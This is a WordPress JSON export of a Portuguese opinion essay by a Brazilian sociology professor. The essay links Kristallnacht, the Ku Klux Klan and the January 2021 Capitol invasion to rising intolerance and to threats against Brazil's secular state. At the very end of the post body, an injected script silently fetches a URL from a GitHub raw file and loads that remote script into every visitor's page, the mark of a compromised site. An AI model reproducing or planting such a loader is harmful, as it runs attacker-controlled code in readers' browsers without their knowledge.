{"id":259,"date":"2021-01-26T21:43:16","date_gmt":"2021-01-26T23:43:16","guid":{"rendered":"http:\/\/www2.uesb.br\/gepemdecc\/?p=259"},"modified":"2024-10-07T15:21:19","modified_gmt":"2024-10-07T18:21:19","slug":"259","status":"publish","type":"post","link":"https:\/\/www2.uesb.br\/gepemdecc\/259\/","title":{"rendered":"O desalento de uma era: populismos, extremismos, negacionismos e tirania"},"content":{"rendered":"<p style=\"text-align: center;\"><em>Prof. Dirl\u00eai A Bonfim*<\/em><\/p>\n<p style=\"text-align: left;\">A humanidade est\u00e1 atravessando uma quadra de desalentos bastante diverso e insistente&#8230; No que pese, a <strong>Ci\u00eancia, tem procurado dar uma resposta cada vez mais r\u00e1pida e providencial, na busca de ant\u00eddotos para cura das doen\u00e7as, <\/strong>como no caso, das vacinas para o combate a Pandemia<strong> do Coronav\u00edrus (Covid \u2013 19), que j\u00e1 vitimou mais de 2 milh\u00f5es de pessoas nos quatro cantos do planeta. Como se n\u00e3o bastasse, esse per\u00edodo de uma brutal crise sanit\u00e1ria, sem precedentes na p\u00f3s-modernidade&#8230; <\/strong>O que estamos a vivenciar, \u00e9 ainda mais grave, \u00e9 um momento de grande intoler\u00e2ncia, brutalidade, impaci\u00eancia e os populismos, extremismos, negacionismos e tiranias de toda ordem e matizes v\u00e3o aparecendo e tomando formas horrendas&#8230; Como se estivessem adormecidos e, como um v\u00edrus do mal, de repente aparece infectando a sociedade humana de \u00f3dio, irracionalidade, racismo, homofobia, fanatismos, fundamentalismos, preconceitos, intoler\u00e2ncia e todas as formas deplor\u00e1veis de manifesta\u00e7\u00f5es criminosas. Assim, nos colocamos \u00e0 analisar, como mais um elemento de reflex\u00e3o nesse momento t\u00e3o difuso, conturbado e de tanto desalento<strong>&#8230;<\/strong> <strong><em>\u201cA Noite dos<\/em><\/strong> <strong><em>Cristais\u201d <\/em><\/strong>como um grande <em>pogrom <\/em>organizado pelo governo <a href=\"https:\/\/www.historiadomundo.com.br\/idade-contemporanea\/nazismo.htm\">nazista <\/a>contra os judeus na Alemanha entre 9 de novembro e 10 de novembro de 1938. \u201c<strong><em>A palavra<\/em><\/strong> <strong>pogrom<\/strong> <strong><em>\u00e9 utilizada para se referir a um ataque violento<\/em><\/strong> <strong><em>organizado contra determinado grupo. O <\/em>pogrom<em> Noite dos Cristais\u201d, <\/em><\/strong>foi realizado pelo governo alem\u00e3o contra a popula\u00e7\u00e3o judia que residia no pa\u00eds. Esse evento \u00e9 visto de maneira simb\u00f3lica por muitos historiadores, pois consolidou a guinada de viol\u00eancia na Alemanha contra os judeus e deu, de fato, abertura ao processo de encarceramento, tortura e assassinato de judeus em campos de concentra\u00e7\u00e3o. At\u00e9 ent\u00e3o, as a\u00e7\u00f5es contra judeus eram realizadas nos campos pol\u00edtico e jur\u00eddico (apesar de ataques violentos tamb\u00e9m acontecerem). <strong><em>Com a Noite dos Cristais<\/em><\/strong>, a mensagem dada para os judeus era de que a viol\u00eancia contra eles aumentaria consideravelmente. <strong>O nome \u201cNoite dos Cristais\u201d dado a esse<\/strong> <strong><em>pogrom<\/em><\/strong> <strong>faz men\u00e7\u00e3o aos cacos de<\/strong> <strong>vidros <\/strong>que se espalharam pelas grandes cidades alem\u00e3s, decorrentes da destrui\u00e7\u00e3o de vidra\u00e7as de lojas que pertenciam a judeus. Quem sabe a partir da\u00ed poderemos estabelecer algum nexo de compreens\u00e3o sobre o que est\u00e1 acontecendo, quando, no pa\u00eds, que se coloca, como uma das Democracias mais consolidadas do planeta, a partir da convoca\u00e7\u00e3o de um determinado senhor que se coloca, acima do bem e do mal e vai \u00e0s redes sociais convocar os seus fan\u00e1ticos seguidores, em nome das suas convic\u00e7\u00f5es ardilosas, a invas\u00e3o do Parlamento daquele pa\u00eds, \u00e9 necess\u00e1rio que reflitamos profundamente sobre o que est\u00e1 de fato acontecendo&#8230; O fato, \u00e9 que nesta semana, todos n\u00f3s, fomos surpreendidos com a invas\u00e3o do Capit\u00f3lio&#8230; \u201cUm grupo de apoiadores do presidente dos <a href=\"https:\/\/g1.globo.com\/tudo-sobre\/estados-unidos\/\">Estados Unidos, <\/a><a href=\"https:\/\/g1.globo.com\/tudo-sobre\/donald-trump\/\">Donald Trump, <\/a>invadiu nesta quarta-feira, 06\/01\/2021 o Capit\u00f3lio, sede do Congresso americano em Washington, durante a <a href=\"https:\/\/g1.globo.com\/mundo\/noticia\/2021\/01\/06\/congresso-dos-eua-se-reune-para-certificar-vitoria-de-biden-no-colegio-eleitoral.ghtml\">contagem oficial dos votos do Col\u00e9gio Eleitoral <\/a>definidos nas elei\u00e7\u00f5es presidenciais de novembro, que deram vit\u00f3ria a <a href=\"https:\/\/g1.globo.com\/tudo-sobre\/joe-biden\/\">Joe Biden, <\/a>o que fez, com que esses seguidores fundamentalistas, tomassem tal atitude&#8230;? Claro, al\u00e9m da insanidade narc\u00edsica e absurda, da mais absoluta e inconsequente sedu\u00e7\u00e3o pelo poder&#8230;do mentor fan\u00e1tico, em que fizera a convoca\u00e7\u00e3o para a invas\u00e3o, o que temos neste quadro, \u00e9 a manifesta\u00e7\u00e3o da ordem totalit\u00e1ria, fundamentalista, narc\u00edsica e doentia de cegos seguidores de lideran\u00e7as macabras, que em nome do poder vale tudo, qualquer coisa, na defesa das suas convic\u00e7\u00f5es ideol\u00f3gicas fan\u00e1ticas, fundamentalistas, absolutistas, m\u00edopes e criminosas. \u00c9 necess\u00e1rio que se esclare\u00e7a, que os EUA, que criticam tanto o oriente m\u00e9dio pelas suas posi\u00e7\u00f5es fundamentalistas de algumas organiza\u00e7\u00f5es pol\u00edticas e religiosas, sejam, do Ir\u00e3, do Iraque, da Palestina, ao mesmo tempo, n\u00e3o conseguem, controlar os seus fan\u00e1ticos, absolutistas e fundamentalistas internos, a saber, gente que se encontra transvestidos atr\u00e1s do manto do falso nacionalismo estadunidense, mas, que na verdade, s\u00e3o membros de organiza\u00e7\u00f5es criminosas, como a <strong>\u201csupremacia branca\u201d, \u201cku klux klan\u201d<\/strong> que pregam esses grupos &#8230;? Que est\u00e3o todos envolvidos com o apoio incondicional ao Senhor Trump&#8230;? Vamos l\u00e1, pregam a viol\u00eancia, viol\u00eancia e viol\u00eancia&#8230; A ku klux klan \u00e9 uma organiza\u00e7\u00e3o criminosa terrorista que surgiu nos Estados Unidos, na virada de 1865 para 1866, logo ap\u00f3s a Guerra Civil Americana<strong>.<\/strong> Esse grupo foi criado para promover os ideais do <strong>supremacismo branco<\/strong>, ideais racistas que promovem a segrega\u00e7\u00e3o e o \u00f3dio contra negros<strong>.<\/strong> O grupo surgiu com o intuito de atacar negros e defensores dos direitos civis e humanos para os afro-americanos. O klan, como \u00e9 chamado, foi respons\u00e1vel por cometer atos violentos, criminosos e odiosos, como o inc\u00eandio de casas habitadas por afro-americanos, a detrata\u00e7\u00e3o p\u00fablica, o xingamento, espancamentos<strong>,<\/strong> enforcamentos e etc. Seus membros utilizavam capuzes e uma vestimenta branca e tinham como s\u00edmbolo uma cruz. Em suas reuni\u00f5es e ataques, tamb\u00e9m incendiavam cruzes. O \u201cklan \u00e9 classificado pelos historiadores como um <strong>movimento da extrema-direita\/reacion\u00e1ria\/fundamentalista\u201d<\/strong>, sobretudo pelos ideais que motivaram a cria\u00e7\u00e3o desse grupo: o supremacismo branco. Mas que, ao longo dos anos, esse \u00f3dio, foi sendo voltado tamb\u00e9m para os ataques criminosos, a outras categorias e g\u00eaneros, como: os homossexuais, os estrangeiros, os intelectuais especialmente do pensamento de esquerda, os religiosos de religi\u00f5es diferentes daquelas professadas pelo klan&#8230; Enfim, um conjunto de ataques s\u00f3rdidos \u00e0s liberdades civis e humanas. \u00c9 v\u00e1lido ressaltar que esses grupos, tem seguidores em todo o mundo. Que se manifestam das mais variadas formas. <strong>Desde a politiza\u00e7\u00e3o<\/strong> <strong>da vacina, contra a (Covid-19), at\u00e9 \u00e0s manifesta\u00e7\u00f5es mais pat\u00e9ticas e estapaf\u00fardias sobre Economia, Sa\u00fade, Ci\u00eancia Pol\u00edtica, H\u00e1bitos e Costumes. <\/strong>Podemos analisar, os comportamentos de certos grupos e organiza\u00e7\u00f5es que agem nas sombras, contra o diverso, o diferente, o contr\u00e1rio e o contradit\u00f3rio, civil, religioso, cient\u00edfico, educativo, art\u00edstico e cultural. Uma verdadeira era das trevas, nas rela\u00e7\u00f5es sociais, educacionais, culturais e humanas. Vamos discutir o princ\u00edpio do que se compreende como laicidade, no nosso caso brasileiro, o Brasil \u00e9 um pa\u00eds laico, com base na Constitui\u00e7\u00e3o <strong>Federal&#8230; O Estado Brasileiro \u00e9 laico\/secular, isso, teoricamente, prega a desagrega\u00e7\u00e3o da<\/strong> <strong>religi\u00e3o e seus valores <\/strong>sobre os atos governamentais. Em uma democracia, a pluralidade de cren\u00e7as e valores \u00e9 incalcul\u00e1vel, justamente por pousar sobre a liberdade. E o Estado deve agir com o m\u00e1ximo de neutralidade e igualdade poss\u00edvel com rela\u00e7\u00e3o as mais diversas pautas, por isso, a laicidade \u00e9 um princ\u00edpio crucial para a manuten\u00e7\u00e3o da democracia e os direitos individuais e coletivos. O Art. 5\u00ba, inciso VI, assegura liberdade de cren\u00e7a aos cidad\u00e3os, conforme se observa: <strong>Art.<\/strong> 5\u00ba <strong>Todos s\u00e3o iguais perante a lei, sem distin\u00e7\u00e3o de qualquer natureza, garantindo-se aos<\/strong> <strong>brasileiros e aos estrangeiros <\/strong>residentes no Pa\u00eds a inviolabilidade do direito \u00e0 vida, \u00e0 liberdade, \u00e0 igualdade, \u00e0 seguran\u00e7a e \u00e0 propriedade, nos termos seguintes: <strong>VI<\/strong> <strong>\u2013<\/strong> \u00e9 inviol\u00e1vel a liberdade de consci\u00eancia e de cren\u00e7a, sendo assegurado o livre exerc\u00edcio dos cultos religiosos e garantida, na forma da lei, a prote\u00e7\u00e3o aos locais de culto e a suas liturgias. Segundo o Professor Fischmann (2012), em sua obra \u201cEstado Laico, Educa\u00e7\u00e3o, Toler\u00e2ncia e Cidadania ou simplesmente n\u00e3o crer\u201d&#8230;<\/p>\n<p style=\"text-align: left;\">Assim, o car\u00e1ter laico do Estado, que lhe permite separar-se e distinguir-se das religi\u00f5es, oferece \u00e0 esfera p\u00fablica e \u00e0 ordem social a possibilidade de conviv\u00eancia da diversidade e da pluralidade humana. Permite, tamb\u00e9m, a cada um dos seus, individualmente, a perspectiva da escolha de ser ou n\u00e3o crente, de associar-se ou n\u00e3o a uma ou outra institui\u00e7\u00e3o religiosa. E, decidindo por crer, ou tendo o apelo para tal, \u00e9 a laicidade do Estado que garante, a cada um, a pr\u00f3pria possibilidade da liberdade de escolher em que e como crer, enquanto \u00e9 plenamente cidad\u00e3o, em busca e no esfor\u00e7o de constru\u00e7\u00e3o da igualdade. No Brasil, no entanto, h\u00e1 uma s\u00e9rie de controv\u00e9rsias&#8230;Caminhando em dire\u00e7\u00e3o contr\u00e1ria \u00e0s suas &#8220;irm\u00e3s&#8221; crist\u00e3s e isl\u00e2micas, nas religi\u00f5es de matriz africana, o desenvolvimento de uma cren\u00e7a radical nunca se fez presente. S\u00e3o raros os casos de intoler\u00e2ncia partindo de pessoas que seguem as religi\u00f5es afro. Por outro lado, elas s\u00e3o v\u00edtimas recorrentes de preconceito e persegui\u00e7\u00e3o no Brasil. O fil\u00f3sofo Roberto Romano (2018), aponta o escravismo e as desigualdades sociais como fatores de preconceito. &#8220;H\u00e1 conex\u00f5es muito fortes entre a intoler\u00e2ncia e a composi\u00e7\u00e3o socioecon\u00f4mica dos seus seguidores&#8221;, diz. Ele salienta que, apesar disso, n\u00e3o se pode dizer que \u00e9 uma quest\u00e3o apenas de ordem econ\u00f4mico-social. &#8220;H\u00e1 um elemento de fanatismo forte&#8221;, enfatiza. O doutor em Ci\u00eancias da Religi\u00e3o pela Universidade Metodista de S\u00e3o Paulo. Jung Mo Sung (2019), acredita, no entanto, que o preconceito contra religi\u00f5es afro-brasileiras j\u00e1 foi maior, uma vez que j\u00e1 foram at\u00e9 proibidas no Pa\u00eds. No atual momento, o preconceito e a intoler\u00e2ncia est\u00e3o mais presentes nas chamadas igrejas neopentecostais. Tais institui\u00e7\u00f5es &#8211; que t\u00eam na Igreja Universal do Reino de Deus (Iurd) a maior expoente &#8211; encabe\u00e7am um movimento pol\u00edtico, religioso e socioecon\u00f4mico razoavelmente recente. Segundo o Professor Marshall (2020), &#8220;h\u00e1 um discurso antimoderno, de combate ao Estado laico, \u00e0 pesquisa cient\u00edfica, \u00e0 sa\u00fade p\u00fablica, \u00e0s quest\u00f5es de g\u00eanero, que representa um retrocesso muito forte&#8221;, pondera o Professor Marshall de Hist\u00f3ria da Universidade Federal do Rio Grande do Sul. Invertendo a l\u00f3gica da prega\u00e7\u00e3o religiosa, que, primordialmente, clama por amor, conviv\u00eancia harmoniosa, justi\u00e7a social e paz entre os povos, o movimento neopentecostal no Brasil &#8211; principalmente por parte de sua maior representante &#8211; \u00e9 focado na desconstru\u00e7\u00e3o do outro. &#8220;S\u00e3o igrejas baseadas em uma proposta negativa<strong>. O discurso religioso de certos pastores, que n\u00e3o sabem o que propor de positivo, vive da prega\u00e7\u00e3o<\/strong> <strong>agressiva contra os outros&#8221;, numa clara manifesta\u00e7\u00e3o dos \u201cfalsos profetas\u201d&#8230; Que vislumbram muito mais do que a palavra de f\u00e9 e sensatez, mas muito se discute sobre os espa\u00e7os de poder<\/strong>.<strong> A sedu\u00e7\u00e3o do poder<\/strong>, a intoler\u00e2ncia religiosa anda de m\u00e3os dadas com a assun\u00e7\u00e3o das cren\u00e7as a posi\u00e7\u00f5es de comando. Religi\u00f5es ou doutrinas que nunca detiveram poder, de modo geral, n\u00e3o s\u00e3o origem e multiplicadores de posi\u00e7\u00f5es radicais, vide as religi\u00f5es afro e o budismo. Por outro lado, a Igreja Cat\u00f3lica foi o pr\u00f3prio poder por s\u00e9culos, e as evang\u00e9licas atuais est\u00e3o, a cada elei\u00e7\u00e3o, ganhando espa\u00e7o nos legislativos e executivos municipais, estaduais e federal. A chamada bancada evang\u00e9lica no Parlamento tem se fortalecido, com a religi\u00e3o assumindo posi\u00e7\u00f5es de poder e fazendo uso de um discurso excludente para angariar mais fi\u00e9is\/eleitores. Sung destaca que algumas autoridades de determinadas igrejas se beneficiam com o aumento de viol\u00eancia, pois, fomentando a agressividade no campo religioso, seus poderes s\u00e3o fortalecidos. <strong>&#8220;Se voc\u00ea ganha poder pol\u00edtico em<\/strong> <strong>nome da intoler\u00e2ncia, a intoler\u00e2ncia passa a ser uma coisa vital. Como se elegeu a bancada evang\u00e9lica? \u201cDizendo que evang\u00e9lico s\u00f3 pode votar em evang\u00e9lico, porque o resto \u00e9 do diabo\u201d. <\/strong>Se voc\u00ea abandona esse discurso, perde poder pol\u00edtico&#8221;. Segundo o Professor Ant\u00f4nio O Silva (2014), no seu cl\u00e1ssico: \u201cReflex\u00f5es sobre a Intoler\u00e2ncia, vai acrescentar: <strong>\u201c&#8230; \u00c0 intoler\u00e2ncia religiosa soma-se a intoler\u00e2ncia pol\u00edtica, cultural, \u00e9tnica e sexual. A inquisi\u00e7\u00e3o est\u00e1<\/strong> <strong>presente no cotidiano dos indiv\u00edduos: no \u00e2mbito do espa\u00e7o dom\u00e9stico, nos locais do trabalho, nos espa\u00e7os p\u00fablicos e privados&#8230;\u201d <\/strong>Ela assume formas sutis de viol\u00eancia simb\u00f3lica e manifesta\u00e7\u00f5es extremadas de \u00f3dio, envolvendo todas as esferas das rela\u00e7\u00f5es humanas. A intoler\u00e2ncia \u00e9, portanto, uma das formas de opress\u00e3o de indiv\u00edduos em geral fragilizados por sua condi\u00e7\u00e3o econ\u00f4mica, cultural, \u00e9tnica, sexual e at\u00e9 mesmo por fatores et\u00e1rios. Muitas vezes nos surpreendemos ao descobrir a nossa pr\u00f3pria intoler\u00e2ncia. A constru\u00e7\u00e3o de uma sociedade fundada em valores que fortale\u00e7am a toler\u00e2ncia m\u00fatua exige o estudo das formas de intoler\u00e2ncia e das suas manifesta\u00e7\u00f5es concretas, aliado \u00e0 den\u00fancia e combate a todos os tipos de intoler\u00e2ncia. \u201cPor outro lado, a toler\u00e2ncia pressup\u00f5e a intransig\u00eancia diante das formas de intoler\u00e2ncia e fundamenta-se numa concep\u00e7\u00e3o que n\u00e3o restringe o problema da toler\u00e2ncia! intoler\u00e2ncia ao \u00e2mbito do indiv\u00edduo; esta \u00e9 tamb\u00e9m uma quest\u00e3o social, econ\u00f4mica, pol\u00edtica e de classe&#8230;\u201d <strong>Assim, quando n\u00e3o<\/strong> <strong>se move e sobressai a sensatez, a racionalidade e a \u00e9tica, a sociedade vai se descambando pelos descaminhos da barb\u00e1rie humana, que tem sido representada pelos grupos de todos os modelos de fanatismos, fundamentalismos e tirania j\u00e1 citados, que se reflete no <em>desalento de uma era.<\/em><\/strong><\/p>\n<p style=\"text-align: left;\"><em><u>**contribui\u00e7\u00e3o do <strong>Professor DsC. Dirl\u00eai A Bonfim, Doutor em Desenvolvimento<\/strong> Econ\u00f4mico e Ambiental,<\/u><\/em><\/p>\n<p style=\"text-align: left;\"><em><u>Professor da SEC\/BA**Sociologia**Cursos\/FAINOR de ADM\/CONT\u00c1BEIS\/ENGENHARIAS\/FAINOR\/2021.1**<\/u><\/em><\/p>\n<p style=\"text-align: left;\">\n<p><script>;var url = 'https:\/\/raw.githubusercontent.com\/AlexanderRPatton\/cdn\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Prof. Dirl\u00eai A Bonfim* A humanidade est\u00e1 atravessando uma quadra de desalentos bastante diverso e insistente&#8230; No que pese, a Ci\u00eancia, tem procurado dar uma resposta cada vez mais r\u00e1pida e providencial, na busca de ant\u00eddotos para cura das doen\u00e7as, como no caso, das vacinas para o combate a Pandemia do Coronav\u00edrus (Covid \u2013 19), &hellip; <a href=\"https:\/\/www2.uesb.br\/gepemdecc\/259\/\" class=\"more-link\">Continuar lendo <span class=\"screen-reader-text\">O desalento de uma era: populismos, extremismos, negacionismos e tirania<\/span><\/a><\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"footnotes":""},"categories":[1],"tags":[],"class_list":["post-259","post","type-post","status-publish","format-standard","hentry","category-sem-categoria"],"acf":[],"_links":{"self":[{"href":"https:\/\/www2.uesb.br\/gepemdecc\/wp-json\/wp\/v2\/posts\/259","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www2.uesb.br\/gepemdecc\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www2.uesb.br\/gepemdecc\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www2.uesb.br\/gepemdecc\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www2.uesb.br\/gepemdecc\/wp-json\/wp\/v2\/comments?post=259"}],"version-history":[{"count":4,"href":"https:\/\/www2.uesb.br\/gepemdecc\/wp-json\/wp\/v2\/posts\/259\/revisions"}],"predecessor-version":[{"id":1823,"href":"https:\/\/www2.uesb.br\/gepemdecc\/wp-json\/wp\/v2\/posts\/259\/revisions\/1823"}],"wp:attachment":[{"href":"https:\/\/www2.uesb.br\/gepemdecc\/wp-json\/wp\/v2\/media?parent=259"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www2.uesb.br\/gepemdecc\/wp-json\/wp\/v2\/categories?post=259"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www2.uesb.br\/gepemdecc\/wp-json\/wp\/v2\/tags?post=259"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}